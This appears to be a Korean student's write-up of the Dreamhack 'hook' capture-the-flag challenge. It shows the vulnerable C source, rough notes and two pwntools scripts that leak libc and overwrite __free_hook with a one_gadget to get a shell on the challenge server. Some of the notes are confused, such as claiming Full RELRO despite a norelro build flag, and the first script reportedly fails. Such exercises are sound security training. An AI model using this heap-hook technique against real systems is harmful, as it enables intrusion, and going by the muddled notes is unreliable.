hook

// gcc -o init_fini_array init_fini_array.c -Wl,-z,norelro
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>

void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}

void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(60);
}

int main(int argc, char *argv[]) {
    long *ptr;
    size_t size;

    initialize();

    printf("stdout: %p\n", stdout);

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

    printf("Data: ");
    read(0, ptr, size);

    *(long *)*ptr = *(ptr + 1);

    free(ptr);
    free(ptr);

    system("/bin/sh");
    return 0;
}

보호 기법 확인

Image

Full RELRO.. hook 사용..?
NX 있음
canary 있음

코드 분석
stdout 함수 주소 출력.. -> libc_base 알 수 있음

    printf("Size: ");
    scanf("%ld", &size);

    ptr = malloc(size);

size입력 받고 malloc에 들어감
인자로 숫자만 올 수 있음.. 이러면 one_gadget 쓰라고는 했는데..

    printf("Data: ");
    read(0, ptr, size);

여기서 hook.. ptr이 free_hook의 주소..? 입력값이 system의 주소..?

    *(long *)*ptr = *(ptr + 1);

이부분 잘 해석 못하겠음(포인터에 쥐약..)
ptr+1의 값이 system 함수의 주소면 되는 거 아닌가?? 말고 문자열 주소..
이러면 freeptr에서 ‘/bin/sh’.. 이걸 훅으로 넘기면 되니까 위에서 hook 주소를 덮어써야 함

    free(ptr);
    free(ptr);

    system("/bin/sh");

익스플로잇 설계

  1. stdout 함수 주소 받고 libc_base 계산하기
from pwn import *

p = remote('host3.dreamhack.games', port)
e = ELF('./hook')
libc = ELF('./libc-2.23.so')

p.recvuntil(b'stdout: 0x')
stdout = int(p.recvn(12), 16)
libc_base = stdout - (libc.sym['_IO_2_1_stdout_'])

free_hook = libc_base + libc.sym['__free_hook']
oneshot = libc_base + 0x4527a
  1. size 입력..
    음 얼마를 넣어줘야 하지? 막 넣는 건 아닌데..

모르겠어서 라이트업 봄 ㅎ.. 사실 더 붙잡아야 됐지만 정신 나감 이슈
보니까 free가 두 번이라 system함수로 넘어가기 전에 오류가 남
ptr+1에 system 함수 주소로 바꿔줘야 함
이때 포인터 +1될 때마다 8바이트 늘어남
*ptr에 값 _free_hook 넣고 system함수의 주소값 넣어줌

p.recvuntil('Size: ')
p.sendline('400')

payload = p64(free_hook)
payload += p64(oneshot)
p.recvuntil('Data: ')
p.sendline(payload)

p.interactive()

아 망했다 간만에 과제 하려니까 무슨 라이트업을 봤는지 모르겠네
위 코드 안되길래 다른 라업 가져옴

from pwn import *
import warnings

warnings.filterwarnings('ignore')

p = remote("host3.dreamhack.games", 24045)
libc = ELF("./libc-2.23.so")

p.recvuntil("stdout: ")
libc_stdout = int(p.recvuntil(b"\n").strip(b"\n"), 16)
libc_base = libc_stdout - libc.symbols["_IO_2_1_stdout_"]
free_hook = libc_base + libc.symbols["__free_hook"]
oneshot_gadget = libc_base + 0x4527a

log.info("libc_base : " + hex(libc_base))
log.info("free_hook : " + hex(free_hook))
log.info("oneshot_gadget : " + hex(oneshot_gadget))

p.recvuntil("Size: ")
p.sendline("1024")

p.recvuntil("Data: ")
payload = p64(free_hook)
payload += p64(oneshot_gadget)
p.sendline(payload)

p.interactive()

Image